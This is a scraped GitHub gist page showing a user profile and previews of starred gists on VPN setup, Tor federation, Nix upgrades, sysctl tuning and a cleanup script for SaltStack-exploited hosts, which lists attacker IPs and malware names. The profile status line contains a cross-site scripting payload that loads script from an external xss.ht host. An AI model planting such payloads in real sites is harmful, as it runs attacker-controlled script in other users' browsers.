Skip to content

Instantly share code, notes, and snippets.

View SuperSandro2000's full-sized avatar
⚙️
Factorio - "><script src=https://sandro.xss.ht></script>

Sandro SuperSandro2000

⚙️
Factorio - "><script src=https://sandro.xss.ht></script>
View GitHub Profile
@muety
muety / vpn.md
Created November 17, 2018 06:32
Use FritzBox IPSec VPN on Ubuntu 18.04

FritzBox VPN on Ubuntu 18.04

  • Configure VPN for a user on your FritzBox and don't forget to show the pop-up including your credentials etc. afterwards. Also make sure you check "Allow access from internet".
  • sudo apt install vpnc network-manager-vpnc
  • Create file /etc/vpnc/vpn.conf, paste the following content and insert your credentials etc.
IPSec gateway yourfritzboxhere.myfritz.net
IPSec ID your_user
IPSec secret your_preshared_key
@hcmiya
hcmiya / 001-proxy.md
Last active March 15, 2020 19:13
Quick example of federating with darknet instances from clearnet

Quick example of federating with Tor instances from clearnet

figure1

Install and configure Tor / Privoxy

# apt install privoxy tor
@costis
costis / gist:5135502
Last active October 1, 2020 20:32
Copy terminfo entries to remote host

You can copy the necessary terminfo descriptions to remote hosts.

  • On the local system, dump the description to text format:

    infocmp xterm-256color > xterm-256color.ti

    infocmp screen-256color > screen-256color.ti

  • Copy to the remote host and compile:

@itskenny0
itskenny0 / cleanup.sh
Last active November 5, 2020 10:46
Cleanup script for salt minions affected by recent CVE exploitation - https://saltexploit.com - https://github.com/saltstack/salt/issues/57057
#!/bin/bash
## Executing this script is not a guarantee for a secure host!
## This script is a collection of the junk I have found on my hosts and what
## the SaltStack community gave as input. We have seen this attack evolve.
## Please have a very close look at your systems and consider reinstalling them
## to be absolutely sure you are free of malware.
# remove crontab persistence
for i in 54.36.185.99 217.8.117.137 176.31.60.91 217.12.210.192 54.36.185.99 54.36.185.99 89.223.121.139 torsocks anagima3 sa.sh$ c.sh$ selcdn.ru salt-store; do

The command line, in short…

wget -k -K -E -r -l 10 -p -N -F --restrict-file-names=windows -nH http://website.com/

…and the options explained

  • -k : convert links to relative
  • -K : keep an original versions of files without the conversions made by wget
  • -E : rename html files to .html (if they don’t already have an htm(l) extension)
  • -r : recursive… of course we want to make a recursive copy
  • -l 10 : the maximum level of recursion. if you have a really big website you may need to put a higher number, but 10 levels should be enough.
# I've always disliked the "./configure" incantation - it's right here! I
# shouldn't need to tell the shell where to look for it. But of course,
# putting '.' in your $PATH is terrible -- it's insecure and throws permission
# errors if you try to 'execute' regular files. Bash 4's `shopt -s autocd`
# solves half the problem; and the ability to override
# command_not_found_handle() solves the other.
#
# This is an OS X-oriented script that attempts to do the most intelligent
# thing possible when you enter the name of a file in your $PWD into the bash
# prompt. It will:
@SuperSandro2000
SuperSandro2000 / nix-installer-unstable.md
Created March 30, 2021 10:56
Upgrade nix installed with nix-installer to unstable
  1. systemctl disable --now nix-daemon.service nix-daemon.socket
  2. nix-env -p /nix/var/nix/profiles/default/ --install nix-2.4pre20210317_8a5203d
  3. rm /etc/profile.d/nix.sh /etc/profile.d/nix-daemon.sh
  4. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix.sh /etc/profile.d/nix.sh
  5. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh /etc/profile.d/nix-daemon.sh
  6. systemctl link /nix/var/nix/profiles/default/lib/systemd/system/nix-daemon.{service,socket}
@cketti
cketti / youtube_preview.user.js
Created May 20, 2021 00:10
Element youtube preview fix (modified)
// ==UserScript==
// @name Element youtube preview
// @namespace http://tampermonkey.net/
// @version 0.3
// @description fix the embeds!!
// @author Cinnabar
// @author cketti
// @match https://app.element.io
// @match https://your.element.url.example
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
@polonskiy
polonskiy / 10-custom.conf
Last active June 4, 2021 22:36
sysctl tuning for docker & serf
# values from https://www.ibm.com/developerworks/community/wikis/home?lang=en#!/wiki/Welcome%20to%20High%20Performance%20Computing%20%28HPC%29%20Central/page/Linux%20System%20Tuning%20Recommendations
# install (root): curl -s https://gist.githubusercontent.com/polonskiy/00a71bab32360ffcb79f/raw/10-custom.conf > /etc/sysctl.d/10-custom.conf
# apply (root): sysctl -p /etc/sysctl.d/10-custom.conf
net.ipv4.neigh.default.gc_thresh1 = 30000
net.ipv4.neigh.default.gc_thresh2 = 32000
net.ipv4.neigh.default.gc_thresh3 = 32768
net.ipv6.neigh.default.gc_thresh1 = 30000
net.ipv6.neigh.default.gc_thresh2 = 32000
@danieldk
danieldk / update-cargo-hashes.txt
Last active October 1, 2021 20:02
Rough procedure for updating all cargoSha256/cargoHash
Rough procedure for updating cargo hashes. Warning: this still requires a lot
of manual work to cover all bases. Based on:
https://github.com/NixOS/nixpkgs/pull/112764/commits/2650d5d2b8c19844224f8b368887153e2f18fdae
# Invalidate all hashes
rg -l "cargoHash" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoHash = "..../cargoHash = "sha256-1234/g'
rg -l "cargoSha256" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoSha256 = "[^s].../cargoSha256 = "1234/g'
rg -l "cargoSha256" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoSha256 = "sha256-..../cargoSha256 = "sha256-1234/g'